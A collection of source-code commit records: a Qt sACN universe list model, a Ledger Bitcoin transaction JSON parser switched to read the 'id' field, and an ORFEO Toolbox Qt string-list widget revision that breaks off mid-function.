lastRow);\n m_universes[univIndex]->sources << info;\n m_universes[univIndex]->sourcesByCid[source_cid] = info;\n endInsertRows();\n }\n\n }\n }\n}\n\nvoid sACNUniverseListModel::checkTimeouts()\n{\n foreach(sACNUniverseInfo *info, m_universes)\n {\n for(int row=0; row<info->sources.count(); row++)\n {\n sACNBasicSourceInfo *source = info->sources[row];\n if(source->timeout.elapsed() > 5000)\n {\n beginRemoveRows( createIndex(info->universe - m_start, 0),\n row, row);\n info->sources.removeAll(source);\n info->sourcesByCid.remove(source->cid);\n delete source;\n endRemoveRows();\n }\n }\n }\n}\n\nint sACNUniverseListModel::indexToUniverse(const QModelIndex &index)\n{\n if(!index.isValid())\n return 0;\n\n if(index.internalPointer()==NULL)\n {\n \/\/ root item\n return m_start + index.row();\n }\n\n sACNBasicSourceInfo *i = static_cast<sACNBasicSourceInfo *>(index.internalPointer());\n if(i)\n {\n return i->parent->universe;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n *\n * TransactionParser\n * ledger-core\n *\n * Created by Pierre Pollastri on 27\/03\/2017.\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Ledger\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *\/\n#include \"TransactionParser.hpp\"\n#include \"utils\/DateUtils.hpp\"\n\n#define PROXY_PARSE(method, ...) \\\n auto& currentObject = _hierarchy.top(); \\\n if (currentObject == \"block\") { \\\n return _blockParser.method(__VA_ARGS__); \\\n } else if (currentObject == \"inputs\") { \\\n return _inputParser.method(__VA_ARGS__); \\\n } else if (currentObject == \"outputs\") { \\\n return _outputParser.method(__VA_ARGS__); \\\n } else \\\n\nnamespace ledger {\n namespace core {\n\n bool TransactionParser::Key(const rapidjson::Reader::Ch *str, rapidjson::SizeType length, bool copy) {\n _lastKey = std::string(str, length);\n PROXY_PARSE(Key, str, length, copy) {\n return true;\n }\n }\n\n bool TransactionParser::StartObject() {\n if (_arrayDepth == 0) {\n _hierarchy.push(_lastKey);\n }\n\n auto& currentObject = _hierarchy.top();\n\n if (currentObject == \"inputs\") {\n BitcoinLikeBlockchainExplorerInput input;\n input.index = _transaction->inputs.size();\n _transaction->inputs.push_back(input);\n _inputParser.init(&_transaction->inputs.back());\n } else if (currentObject == \"outputs\") {\n BitcoinLikeBlockchainExplorerOutput output;\n _transaction->outputs.push_back(output);\n _outputParser.init(&_transaction->outputs.back());\n \/\/ Set block height\n if (_transaction->block.hasValue()) {\n _transaction->outputs.back().blockHeight = _transaction->block.getValue().height;\n }\n } else if (currentObject == \"block\") {\n BitcoinLikeBlockchainExplorer::Block block;\n _transaction->block = Option<BitcoinLikeBlockchainExplorer::Block>(block);\n _blockParser.init(&_transaction->block.getValue());\n }\n\n return true;\n }\n\n bool TransactionParser::EndObject(rapidjson::SizeType memberCount) {\n auto& currentObject = _hierarchy.top();\n\n if (_arrayDepth == 0) {\n _hierarchy.pop();\n }\n return true;\n }\n\n bool TransactionParser::StartArray() {\n if (_arrayDepth == 0) {\n _hierarchy.push(_lastKey);\n }\n _arrayDepth += 1;\n return true;\n }\n\n bool TransactionParser::EndArray(rapidjson::SizeType elementCount) {\n _arrayDepth -= 1;\n if (_arrayDepth == 0) {\n _hierarchy.pop();\n }\n return true;\n }\n\n bool TransactionParser::Null() {\n PROXY_PARSE(Null) {\n return true;\n }\n }\n\n bool TransactionParser::Bool(bool b) {\n PROXY_PARSE(Bool, b) {\n return true;\n }\n }\n\n bool TransactionParser::Int(int i) {\n return Uint64(i);\n }\n\n bool TransactionParser::Uint(unsigned i) {\n return Uint64(i);\n }\n\n bool TransactionParser::Int64(int64_t i) {\n return Uint64(i);\n }\n\n bool TransactionParser::Uint64(uint64_t i) {\n PROXY_PARSE(Uint64, i) {\n return true;\n }\n }\n\n bool TransactionParser::Double(double d) {\n PROXY_PARSE(Double, d) {\n return true;\n }\n }\n\n bool TransactionParser::RawNumber(const rapidjson::Reader::Ch *str, rapidjson::SizeType length, bool copy) {\n PROXY_PARSE(RawNumber, str, length, copy) {\n std::string number(str, length);\n BigInt value = BigInt::fromString(number);\n if (_lastKey == \"lock_time\") {\n _transaction->lockTime = value.toUint64();\n } else if (_lastKey == \"fees\") {\n _transaction->fees = Option<BigInt>(value);\n } else if (_lastKey == \"confirmations\") {\n _transaction->confirmations = value.toUint64();\n }\n return true;\n }\n }\n\n bool TransactionParser::String(const rapidjson::Reader::Ch *str, rapidjson::SizeType length, bool copy) {\n PROXY_PARSE(String, str, length, copy) {\n std::string value(str, length);\n if (_lastKey == \"hash\") {\n _transaction->hash = value;\n } else if (_lastKey == \"received_at\") {\n _transaction->receivedAt = DateUtils::fromJSON(value);\n }\n return true;\n }\n }\n\n TransactionParser::TransactionParser(std::string& lastKey) :\n _lastKey(lastKey), _blockParser(lastKey), _inputParser(lastKey), _outputParser(lastKey)\n {\n _arrayDepth = 0;\n }\n\n void TransactionParser::init(BitcoinLikeBlockchainExplorerTransaction *transaction) {\n _transaction = transaction;\n }\n\n }\n}<commit_msg>COIN-1420: use of tx id field instead of hash for v3 btc explorers<commit_after>\/*\n *\n * TransactionParser\n * ledger-core\n *\n * Created by Pierre Pollastri on 27\/03\/2017.\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Ledger\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *\/\n#include \"TransactionParser.hpp\"\n#include \"utils\/DateUtils.hpp\"\n\n#define PROXY_PARSE(method, ...) \\\n auto& currentObject = _hierarchy.top(); \\\n if (currentObject == \"block\") { \\\n return _blockParser.method(__VA_ARGS__); \\\n } else if (currentObject == \"inputs\") { \\\n return _inputParser.method(__VA_ARGS__); \\\n } else if (currentObject == \"outputs\") { \\\n return _outputParser.method(__VA_ARGS__); \\\n } else \\\n\nnamespace ledger {\n namespace core {\n\n bool TransactionParser::Key(const rapidjson::Reader::Ch *str, rapidjson::SizeType length, bool copy) {\n _lastKey = std::string(str, length);\n PROXY_PARSE(Key, str, length, copy) {\n return true;\n }\n }\n\n bool TransactionParser::StartObject() {\n if (_arrayDepth == 0) {\n _hierarchy.push(_lastKey);\n }\n\n auto& currentObject = _hierarchy.top();\n\n if (currentObject == \"inputs\") {\n BitcoinLikeBlockchainExplorerInput input;\n input.index = _transaction->inputs.size();\n _transaction->inputs.push_back(input);\n _inputParser.init(&_transaction->inputs.back());\n } else if (currentObject == \"outputs\") {\n BitcoinLikeBlockchainExplorerOutput output;\n _transaction->outputs.push_back(output);\n _outputParser.init(&_transaction->outputs.back());\n \/\/ Set block height\n if (_transaction->block.hasValue()) {\n _transaction->outputs.back().blockHeight = _transaction->block.getValue().height;\n }\n } else if (currentObject == \"block\") {\n BitcoinLikeBlockchainExplorer::Block block;\n _transaction->block = Option<BitcoinLikeBlockchainExplorer::Block>(block);\n _blockParser.init(&_transaction->block.getValue());\n }\n\n return true;\n }\n\n bool TransactionParser::EndObject(rapidjson::SizeType memberCount) {\n auto& currentObject = _hierarchy.top();\n\n if (_arrayDepth == 0) {\n _hierarchy.pop();\n }\n return true;\n }\n\n bool TransactionParser::StartArray() {\n if (_arrayDepth == 0) {\n _hierarchy.push(_lastKey);\n }\n _arrayDepth += 1;\n return true;\n }\n\n bool TransactionParser::EndArray(rapidjson::SizeType elementCount) {\n _arrayDepth -= 1;\n if (_arrayDepth == 0) {\n _hierarchy.pop();\n }\n return true;\n }\n\n bool TransactionParser::Null() {\n PROXY_PARSE(Null) {\n return true;\n }\n }\n\n bool TransactionParser::Bool(bool b) {\n PROXY_PARSE(Bool, b) {\n return true;\n }\n }\n\n bool TransactionParser::Int(int i) {\n return Uint64(i);\n }\n\n bool TransactionParser::Uint(unsigned i) {\n return Uint64(i);\n }\n\n bool TransactionParser::Int64(int64_t i) {\n return Uint64(i);\n }\n\n bool TransactionParser::Uint64(uint64_t i) {\n PROXY_PARSE(Uint64, i) {\n return true;\n }\n }\n\n bool TransactionParser::Double(double d) {\n PROXY_PARSE(Double, d) {\n return true;\n }\n }\n\n bool TransactionParser::RawNumber(const rapidjson::Reader::Ch *str, rapidjson::SizeType length, bool copy) {\n PROXY_PARSE(RawNumber, str, length, copy) {\n std::string number(str, length);\n BigInt value = BigInt::fromString(number);\n if (_lastKey == \"lock_time\") {\n _transaction->lockTime = value.toUint64();\n } else if (_lastKey == \"fees\") {\n _transaction->fees = Option<BigInt>(value);\n } else if (_lastKey == \"confirmations\") {\n _transaction->confirmations = value.toUint64();\n }\n return true;\n }\n }\n\n bool TransactionParser::String(const rapidjson::Reader::Ch *str, rapidjson::SizeType length, bool copy) {\n PROXY_PARSE(String, str, length, copy) {\n std::string value(str, length);\n if (_lastKey == \"hash\") {\n if (_transaction->hash.empty()) {\n _transaction->hash = value;\n }\n }\n else if (_lastKey == \"id\") {\n _transaction->hash = value;\n }\n else if (_lastKey == \"received_at\") {\n _transaction->receivedAt = DateUtils::fromJSON(value);\n }\n return true;\n }\n }\n\n TransactionParser::TransactionParser(std::string& lastKey) :\n _lastKey(lastKey), _blockParser(lastKey), _inputParser(lastKey), _outputParser(lastKey)\n {\n _arrayDepth = 0;\n }\n\n void TransactionParser::init(BitcoinLikeBlockchainExplorerTransaction *transaction) {\n _transaction = transaction;\n }\n\n }\n}<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperQtWidgetStringListParameter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nQtWidgetStringListParameter::QtWidgetStringListParameter(StringListParameter* param, QtWidgetModel* m)\n: QtWidgetParameterBase(param, m),\n m_StringListParam(param)\n{\n connect( this, SIGNAL(Change()), GetModel(), SLOT(NotifyUpdate()) );\n}\n\nQtWidgetStringListParameter::~QtWidgetStringListParameter()\n{\n}\n\nvoid QtWidgetStringListParameter::DoUpdateGUI()\n{\n m_LineEditList.clear();\n\n m_StringLayout = new QVBoxLayout();\n\n for(unsigned int i=0; i<m_StringListParam->GetValue().size(); i++)\n {\n QtStringSelectionWidget * stringSelection = new QtStringSelectionWidget();\n stringSelection->setFixedHeight( 30 );\n QString val(m_StringListParam->GetNthElement(i).c_str());\n stringSelection->GetInput()->setText( m_StringListParam->GetNthElement(i).c_str() ); \/\/val );\n m_StringLayout->addWidget( stringSelection );\n m_LineEditList.push_back(stringSelection);\n\n connect( stringSelection->GetInput(), SIGNAL(textChanged(const QString&)), this, SLOT(UpdateStringList()) );\n connect( stringSelection->GetInput(), SIGNAL(textChanged(const QString&)), GetModel(), SLOT(NotifyUpdate()) );\n }\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n this->update();\n}\n\nvoid QtWidgetStringListParameter::DoCreateWidget()\n{\n m_LineEditList.clear();\n const unsigned int sp(2);\n const unsigned int buttonSize(30);\n\n \/\/ Global layout\n QHBoxLayout * hLayout = new QHBoxLayout;\n hLayout->setSpacing(sp);\n hLayout->setContentsMargins(sp, sp, sp, sp);\n\n if( m_StringListParam->GetRole() != Role_Output )\n {\n \/\/ Button layout\n QVBoxLayout * buttonLayout = new QVBoxLayout;\n buttonLayout->setSpacing(sp);\n buttonLayout->setContentsMargins(sp, sp, sp, sp);\n\n QHBoxLayout * addSupLayout = new QHBoxLayout;\n addSupLayout->setSpacing(sp);\n addSupLayout->setContentsMargins(sp, sp, sp, sp);\n\n QHBoxLayout * upDownLayout = new QHBoxLayout;\n upDownLayout->setSpacing(sp);\n upDownLayout->setContentsMargins(sp, sp, sp, sp);\n\n \/\/ Add file button\n QPushButton * addButton = new QPushButton;\n addButton->setText(\"+\");\n addButton->setFixedWidth(buttonSize);\n addButton->setToolTip(\"Add a string selector...\");\n connect( addButton, SIGNAL(clicked()), this, SLOT(AddString()) );\n addSupLayout->addWidget(addButton);\n\n \/\/ Supress file button\n QPushButton * supButton = new QPushButton;\n supButton->setText(\"-\");\n supButton->setFixedWidth(buttonSize);\n supButton->setToolTip(\"Supress the selected string...\");\n connect( supButton, SIGNAL(clicked()), this, SLOT(SupressString()) );\n addSupLayout->addWidget(supButton);\n buttonLayout->addLayout(addSupLayout);\n\n \/\/ Up file edit\n QPushButton * upButton = new QPushButton;\n upButton->setText(\"Up\");\n upButton->setFixedWidth(buttonSize);\n upButton->setToolTip(\"Up the selected string in the list...\");\n connect( upButton, SIGNAL(clicked()), this, SLOT(UpString()) );\n upDownLayout->addWidget(upButton);\n\n \/\/ Down file edit\n QPushButton * downButton = new QPushButton;\n downButton->setText(\"Down\");\n downButton->setFixedWidth(buttonSize);\n downButton->setToolTip(\"Down the selected string in the list...\");\n connect( downButton, SIGNAL(clicked()), this, SLOT(DownString()) );\n upDownLayout->addWidget(downButton);\n buttonLayout->addLayout(upDownLayout);\n\n \/\/ Erase file edit\n QPushButton * eraseButton = new QPushButton;\n eraseButton->setText(\"Erase\");\n eraseButton->setFixedWidth(2*(buttonSize+sp));\n eraseButton->setToolTip(\"Erase the selected string of the list...\");\n connect( eraseButton, SIGNAL(clicked()), this, SLOT(EraseString()) );\n buttonLayout->addWidget(eraseButton);\n\n hLayout->addLayout(buttonLayout);\n }\n\n QVBoxLayout * fileLayout = new QVBoxLayout();\n fileLayout->setSpacing(0);\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(fileLayout);\n QScrollArea * scroll = new QScrollArea();\n scroll->setWidget(mainGroup);\n scroll->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);\n scroll->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOn);\n scroll->setWidgetResizable(true);\n\n hLayout->addWidget(scroll);\n\n\n this->setLayout(hLayout);\n\n \/\/m_StringLayout = fileLayout;\n m_HLayout = hLayout;\n m_Scroll = scroll;\n\n}\n\nvoid\nQtWidgetStringListParameter::UpdateStringList()\n{\n \/\/ save value\n for(unsigned int j=0; j<m_StringListParam->GetValue().size(); j++ )\n {\n m_StringListParam->SetNthElement(j, m_LineEditList[j]->GetStringName());\n }\n emit Change();\n}\n\n\nvoid\nQtWidgetStringListParameter::UpString()\n{\n if(m_LineEditList.size() < 2 )\n return;\n\n m_StringLayout = new QVBoxLayout();\n m_StringLayout->setSpacing(2);\n\n \/\/ Map link between old and new index in the list\n std::map<unsigned int, unsigned int> idMap;\n\n \/\/ Init map\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n idMap[i] = i;\n }\n\n \/\/ If the first item is checked, uncheck it...\n \/\/ It won't be moved\n if( m_LineEditList[0]->IsChecked() )\n {\n m_LineEditList[0]->SetChecked(false);\n }\n\n\n \/\/ If other item are checked, up the index\n \/\/ Starts at 1 because the first item mustn't move\n for(unsigned int i=1; i<m_LineEditList.size(); i++ )\n {\n if( m_LineEditList[i]->IsChecked() )\n {\n unsigned int tmp = idMap[i];\n idMap[i] = i-1;\n idMap[idMap[i-1]] = tmp;\n }\n }\n\n this->UpdateStringList( idMap );\n\n this->RecreateStringList();\n}\n\nvoid\nQtWidgetStringListParameter::DownString()\n{\n if(m_LineEditList.size() < 2 )\n return;\n\n m_StringLayout = new QVBoxLayout();\n m_StringLayout->setSpacing(0);\n\n \/\/ Map link between old and new index in the list\n std::map<unsigned int, unsigned int> idMap;\n\n \/\/ Init map\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n idMap[i] = i;\n }\n\n \/\/ If the last item is checked, uncheck it...\n \/\/ It won't be moved\n if( m_LineEditList[m_LineEditList.size()-1]->IsChecked() )\n {\n m_LineEditList[m_LineEditList.size()-1]->SetChecked(false);\n }\n\n\n \/\/ If other item are checked, up the index\n \/\/ Stops at size-1 because the last item mustn't move\n for(int i=m_LineEditList.size()-2; i>=0; i-- )\n {\n if( m_LineEditList[i]->IsChecked() )\n {\n unsigned int tmp = idMap[i];\n idMap[i] = i+1;\n idMap[idMap[i+1]] = tmp;\n }\n }\n\n this->UpdateStringList( idMap );\n\n this->RecreateStringList();\n}\n\n\nvoid\nQtWidgetStringListParameter::UpdateStringList( std::map<unsigned int, unsigned int> idMap )\n{\n std::vector<QtStringSelectionWidget *> tmpList;\n \/\/ Keys become values and inverse\n std::map<unsigned int, unsigned int> idMapBis;\n for(unsigned int i=0; i<idMap.size(); i++ )\n {\n idMapBis[ idMap[i] ] = i;\n }\n\n \/\/ Create the new item list\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n m_StringLayout->addWidget( m_LineEditList[ idMapBis[i] ] );\n tmpList.push_back(m_LineEditList[ idMapBis[i] ]);\n }\n\n\n m_LineEditList = tmpList;\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n this->update();\n\n \/\/ notify of value change\n QString key( m_StringListParam->GetKey() );\n emit ParameterChanged(key);\n}\n\n\nvoid QtWidgetStringListParameter::SetString(const QString& value)\n{\n m_StringListParam->AddString(value.toAscii().constData());\n m_StringListParam->SetUserValue(true);\n QString key( m_StringListParam->GetKey() );\n emit ParameterChanged(key);\n}\n\n\nvoid\nQtWidgetStringListParameter::AddString()\n{\n m_StringLayout = new QVBoxLayout();\n m_StringLayout->setSpacing(0);\n\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n m_StringLayout->addWidget( m_LineEditList[i] );\n }\n\n QtStringSelectionWidget * stringInput = new QtStringSelectionWidget();\n stringInput->setFixedHeight( 30 );\n m_StringLayout->addWidget( stringInput );\n m_LineEditList.push_back(stringInput);\n m_StringListParam->AddNullElement();\n connect( stringInput->GetInput(), SIGNAL(textChanged(const QString&)), this, SLOT(UpdateStringList()));\n connect( stringInput->GetInput(), SIGNAL(textChanged(const QString&)), GetModel(), SLOT(NotifyUpdate()) );\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n\n this->update();\n}\n\n\nvoid\nQtWidgetStringListParameter::SupressString()\n{\n m_StringLayout = new QVBoxLayout();\n m_StringLayout->setSpacing(0);\n std::vector<QtStringSelectionWidget *> tmpList;\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n if( !m_LineEditList[i]->IsChecked() )\n {\n m_StringLayout->addWidget( m_LineEditList[i] );\n tmpList.push_back(m_LineEditList[i]);\n }\n }\n\n m_LineEditList = tmpList;\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n this->update();\n this->RecreateStringList();\n}\n\n\nvoid\nQtWidgetStringListParameter::EraseString()\n{\n m_LineEditList.clear();\n\n m_StringLayout = new QVBoxLayout();\n\n QtStringSelectionWidget * stringSelection = new QtStringSelectionWidget();\n stringSelection->setFixedHeight( 30 );\n m_StringLayout->addWidget( stringSelection );\n m_LineEditList.push_back(stringSelection);\n m_StringListParam->AddNullElement();\n connect( stringSelection->GetInput(), SIGNAL(textChanged(const QString&)), this, SLOT(UpdateStringList()) );\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n this->update();\n this->RecreateStringList();\n}\n\n\nvoid QtWidgetStringListParameter::RecreateStringList()\n{\n \/\/ save value\n m_StringListParam->ClearValue();\n\n if( m_LineEditList.size() != 0)\n {\n for(unsigned int j=0; j<m_LineEditList.size(); j++ )\n {\n m_StringListParam->AddString(m_LineEditList[j]->GetStringName());\n }\n\n emit Change();\n \/\/ notify of value change\n QString key( m_StringListParam->GetKey() );\n emit ParameterChanged(key);\n }\n}\n\n\n}\n}\n<commit_msg>ENH: adapted QtWidgetStringListParameter to StringSelectionWidget revamp<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperQtWidgetStringListParameter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nQtWidgetStringListParameter::QtWidgetStringListParameter(StringListParameter* param, QtWidgetModel* m)\n: QtWidgetParameterBase(param, m),\n m_StringListParam(param)\n{\n \/*\n connect( this,\n SIGNAL(Change()),\n GetModel(),\n SLOT(NotifyUpdate()) );\n *\/\n}\n\nQtWidgetStringListParameter::~QtWidgetStringListParameter()\n{\n}\n\nvoid QtWidgetStringListParameter::DoUpdateGUI()\n{\n m_LineEditList.clear();\n\n m_StringLayout = new QVBoxLayout();\n\n for(unsigned int i=0; i<m_StringListParam->GetValue().size(); i++)\n {\n QtStringSelectionWidget * stringSelection = new QtStringSelectionWidget();\n stringSelection->setFixedHeight( 30 );\n stringSelection->SetText( m_StringListParam->GetNthElement(i).c_str() );\n m_StringLayout->addWidget( stringSelection );\n m_LineEditList.push_back(stringSelection);\n\n connect( stringSelection,\n SIGNAL( InternalQLineEditEditionFinished() ),\n this,\n SLOT( UpdateStringList() )\n );\n\n connect( stringSelection,\n SIGNAL(InternalQLineEditEditionFinished()),\n GetModel(),\n SLOT(NotifyUpdate())\n );\n std::cout << \"NotifyUpdate\" << std::endl;\n }\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n this->update();\n}\n\nvoid QtWidgetStringListParameter::DoCreateWidget()\n{\n m_LineEditList.clear();\n const unsigned int sp(2);\n const unsigned int buttonSize(30);\n\n \/\/ Global layout\n QHBoxLayout * hLayout = new QHBoxLayout;\n hLayout->setSpacing(sp);\n hLayout->setContentsMargins(sp, sp, sp, sp);\n\n if( m_StringListParam->GetRole() != Role_Output )\n {\n \/\/ Button layout\n QVBoxLayout * buttonLayout = new QVBoxLayout;\n buttonLayout->setSpacing(sp);\n buttonLayout->setContentsMargins(sp, sp, sp, sp);\n\n QHBoxLayout * addSupLayout = new QHBoxLayout;\n addSupLayout->setSpacing(sp);\n addSupLayout->setContentsMargins(sp, sp, sp, sp);\n\n QHBoxLayout * upDownLayout = new QHBoxLayout;\n upDownLayout->setSpacing(sp);\n upDownLayout->setContentsMargins(sp, sp, sp, sp);\n\n \/\/ Add file button\n QPushButton * addButton = new QPushButton;\n addButton->setText(\"+\");\n addButton->setFixedWidth(buttonSize);\n addButton->setToolTip(\"Add a string selector...\");\n connect( addButton, SIGNAL(clicked()), this, SLOT(AddString()) );\n addSupLayout->addWidget(addButton);\n\n \/\/ Supress file button\n QPushButton * supButton = new QPushButton;\n supButton->setText(\"-\");\n supButton->setFixedWidth(buttonSize);\n supButton->setToolTip(\"Supress the selected string...\");\n connect( supButton, SIGNAL(clicked()), this, SLOT(SupressString()) );\n addSupLayout->addWidget(supButton);\n buttonLayout->addLayout(addSupLayout);\n\n \/\/ Up file edit\n QPushButton * upButton = new QPushButton;\n upButton->setText(\"Up\");\n upButton->setFixedWidth(buttonSize);\n upButton->setToolTip(\"Up the selected string in the list...\");\n connect( upButton, SIGNAL(clicked()), this, SLOT(UpString()) );\n upDownLayout->addWidget(upButton);\n\n \/\/ Down file edit\n QPushButton * downButton = new QPushButton;\n downButton->setText(\"Down\");\n downButton->setFixedWidth(buttonSize);\n downButton->setToolTip(\"Down the selected string in the list...\");\n connect( downButton, SIGNAL(clicked()), this, SLOT(DownString()) );\n upDownLayout->addWidget(downButton);\n buttonLayout->addLayout(upDownLayout);\n\n \/\/ Erase file edit\n QPushButton * eraseButton = new QPushButton;\n eraseButton->setText(\"Erase\");\n eraseButton->setFixedWidth(2*(buttonSize+sp));\n eraseButton->setToolTip(\"Erase the selected string of the list...\");\n connect( eraseButton, SIGNAL(clicked()), this, SLOT(EraseString()) );\n buttonLayout->addWidget(eraseButton);\n\n hLayout->addLayout(buttonLayout);\n }\n\n QVBoxLayout * fileLayout = new QVBoxLayout();\n fileLayout->setSpacing(0);\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(fileLayout);\n QScrollArea * scroll = new QScrollArea();\n scroll->setWidget(mainGroup);\n scroll->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);\n scroll->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOn);\n scroll->setWidgetResizable(true);\n\n hLayout->addWidget(scroll);\n\n\n this->setLayout(hLayout);\n\n \/\/m_StringLayout = fileLayout;\n m_HLayout = hLayout;\n m_Scroll = scroll;\n\n}\n\nvoid\nQtWidgetStringListParameter::UpdateStringList()\n{\n \/\/ save value\n for(unsigned int j=0; j<m_StringListParam->GetValue().size(); j++ )\n {\n m_StringListParam->SetNthElement(j, m_LineEditList[j]->ToStdString());\n }\n\n \/\/ notify model text changed\n emit Change();\n}\n\n\nvoid\nQtWidgetStringListParameter::UpString()\n{\n if(m_LineEditList.size() < 2 )\n return;\n\n m_StringLayout = new QVBoxLayout();\n m_StringLayout->setSpacing(2);\n\n \/\/ Map link between old and new index in the list\n std::map<unsigned int, unsigned int> idMap;\n\n \/\/ Init map\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n idMap[i] = i;\n }\n\n \/\/ If the first item is checked, uncheck it...\n \/\/ It won't be moved\n if( m_LineEditList[0]->IsChecked() )\n {\n m_LineEditList[0]->SetChecked(false);\n }\n\n\n \/\/ If other item are checked, up the index\n \/\/ Starts at 1 because the first item mustn't move\n for(unsigned int i=1; i<m_LineEditList.size(); i++ )\n {\n if( m_LineEditList[i]->IsChecked() )\n {\n unsigned int tmp = idMap[i];\n idMap[i] = i-1;\n idMap[idMap[i-1]] = tmp;\n }\n }\n\n this->UpdateStringList( idMap );\n\n this->RecreateStringList();\n}\n\nvoid\nQtWidgetStringListParameter::DownString()\n{\n if(m_LineEditList.size() < 2 )\n return;\n\n m_StringLayout = new QVBoxLayout();\n m_StringLayout->setSpacing(0);\n\n \/\/ Map link between old and new index in the list\n std::map<unsigned int, unsigned int> idMap;\n\n \/\/ Init map\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n idMap[i] = i;\n }\n\n \/\/ If the last item is checked, uncheck it...\n \/\/ It won't be moved\n if( m_LineEditList[m_LineEditList.size()-1]->IsChecked() )\n {\n m_LineEditList[m_LineEditList.size()-1]->SetChecked(false);\n }\n\n\n \/\/ If other item are checked, up the index\n \/\/ Stops at size-1 because the last item mustn't move\n for(int i=m_LineEditList.size()-2; i>=0; i-- )\n {\n if( m_LineEditList[i]->IsChecked() )\n {\n unsigned int tmp = idMap[i];\n idMap[i] = i+1;\n idMap[idMap[i+1]] = tmp;\n }\n }\n\n this->UpdateStringList( idMap );\n\n this->RecreateStringList();\n}\n\n\nvoid\nQtWidgetStringListParameter::UpdateStringList( std::map<unsigned int, unsigned int> idMap )\n{\n std::vector<QtStringSelectionWidget *> tmpList;\n \/\/ Keys become values and inverse\n std::map<unsigned int, unsigned int> idMapBis;\n for(unsigned int i=0; i<idMap.size(); i++ )\n {\n idMapBis[ idMap[i] ] = i;\n }\n\n \/\/ Create the new item list\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n m_StringLayout->addWidget( m_LineEditList[ idMapBis[i] ] );\n tmpList.push_back(m_LineEditList[ idMapBis[i] ]);\n }\n\n\n m_LineEditList = tmpList;\n QGroupBox *mainGroup = new QGroupBox();\n 